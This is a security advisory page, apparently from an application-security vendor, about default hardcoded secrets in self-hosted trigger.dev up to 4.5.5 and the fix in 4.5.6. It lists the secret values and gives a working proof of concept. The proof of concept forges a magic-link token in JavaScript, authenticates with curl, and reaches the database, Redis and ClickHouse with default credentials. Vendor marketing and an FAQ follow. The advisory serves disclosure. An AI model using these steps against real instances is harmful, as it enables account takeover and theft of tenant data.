Summary
Trigger.dev Self-Hosted Deployment: Default Secrets allow Unauthenticated Infrastructure Compromise
Self-hosted trigger.dev v4 instances deployed using the provided Docker Compose configuration with default secrets from hosting/docker/.env.example are vulnerable to a multi-stage unauthenticated attack chain leading to complete infrastructure compromise.
Vulnerability Details
The hosting/docker/.env.example file contains hardcoded cryptographic secrets:
SESSION_SECRET=2818143646516f6fffd707b36f334bbb
MAGIC_LINK_SECRET=44da78b7bbb0dfe709cf38931d25dcdd
ENCRYPTION_KEY=f686147ab967943ebbe9ed3b496e465a
MANAGED_WORKER_SECRET=447c29678f9eaf289e9c4b70d3dd8a7f
The MAGIC_LINK_SECRET is used by [email protected] to create authentication tokens via CryptoJS AES encryption. An attacker who knows this secret can forge valid magic links that authenticate as any email address without email delivery. The validateSessionMagicLink option defaults to false in the library (never overridden by trigger.dev), so no session-side validation occurs. User accounts are auto-created when WHITELISTED_EMAILS is not set (the default for self-hosted).
Steps to Reproduce
Setup
cd hosting/docker && cp .env.example .env
cd webapp && docker compose up -d
cd ../worker && docker compose up -d
Step 1: Forge magic link token
const CryptoJS = require('crypto-js');
const secret = '44da78b7bbb0dfe709cf38931d25dcdd';
const payload = JSON.stringify({e: '[email protected]', c: Date.now()});
const token = encodeURIComponent(CryptoJS.AES.encrypt(payload, secret).toString());
console.log('https://target:8030/magic?token=' + token);
Step 2: Authenticate via forged magic link
curl -v "http://localhost:8030/magic?token="
# Returns: HTTP 302, set-cookie: __session=eyJ1c2VyIjp7InVzZXJJZCI6ImNtcGg3OTBxZjAwMDR0bjU1ZWM3bHlxN2EifX0=...
# User auto-created, session cookie set, redirects to /orgs/new
Step 3: Verify database access from runner network
docker run --rm --network webapp postgres:14 psql "postgresql://postgres:unsafe-postgres-pw@postgres:5432/main" -c "SELECT id, email FROM \"User\";"
# Returns: cmph790qf0004tn55ec7lyq7a | [email protected]
Step 4: Verify Redis access (no auth)
docker run --rm --network webapp redis:7 redis-cli -h redis PING
# Returns: PONG
Step 5: Verify ClickHouse access
docker run --rm --network webapp curlimages/curl curl -s "http://default:password@clickhouse:8123/?query=SELECT%20version()"
# Returns: 25.5.2.47
Root Cause
- Hardcoded secrets in
hosting/docker/.env.example(lines 9-12) - Runner containers placed on infrastructure networks:
DOCKER_RUNNER_NETWORKS: webapp,supervisorinhosting/docker/worker/docker-compose.yml:42 - Default credentials on all infrastructure services
- No Redis authentication
- SESSION_SECRET reused for JWT signing (
apps/webapp/app/services/apiAuth.server.ts:616) and impersonation tokens
Impact
Complete infrastructure compromise: all tenant data, API keys, encrypted secrets (decryptable with known ENCRYPTION_KEY), user accounts, cross-tenant access. Attacker can modify data, push backdoored Docker images to the registry, and manipulate job queues.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is GHSA-PQXW-G93W-HJ9X? GHSA-PQXW-G93W-HJ9X is a high-severity security vulnerability in trigger.dev (npm), affecting versions <= 4.5.5. It is fixed in 4.5.6.
- Which versions of trigger.dev are affected by GHSA-PQXW-G93W-HJ9X? trigger.dev (npm) versions <= 4.5.5 is affected.
- Is there a fix for GHSA-PQXW-G93W-HJ9X? Yes. GHSA-PQXW-G93W-HJ9X is fixed in 4.5.6. Upgrade to this version or later.
- Is GHSA-PQXW-G93W-HJ9X exploitable, and should I be worried? Whether GHSA-PQXW-G93W-HJ9X is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-PQXW-G93W-HJ9X is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-PQXW-G93W-HJ9X? Upgrade
trigger.devto 4.5.6 or later.